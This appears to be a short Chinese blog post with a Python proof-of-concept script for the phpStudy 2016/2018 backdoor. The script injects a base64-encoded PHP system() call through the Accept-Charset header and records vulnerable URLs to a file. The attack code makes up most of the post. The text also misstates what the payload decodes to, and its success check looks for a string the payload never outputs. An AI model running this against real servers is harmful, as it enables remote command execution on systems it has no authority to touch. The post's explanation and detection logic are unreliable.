漏洞poc编写肯定要有大佬们对漏洞进行分析。
该漏洞网上有很多分析报告,如果是phpstudy2016或2018搭建的就有可能存在该漏洞。
这里仅已验证漏洞为例
c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==
这里的命令base64解密后为system(“dir”);
接下来直接上代码
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip,deflate',
'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==',
'Accept-Language':'zh-CN,zh;q=0.9',
'Connection':'close',
}
def phpstudy(url):
try:
r = requests.get(url=url, headers=headers,timeout=5)
if 'shit' in r.text:
print (u'success: {url}')
with open('success.txt','a+') as f:
f.write(url+"\n")
else:
print (u'flase:{url}')
except:
print (u'连接超时: {url}')
if __name__ == '__main__':
url = raw_input('\nurl:')
phpstudy(url)
最核心的部分还是Accept-Charset请求头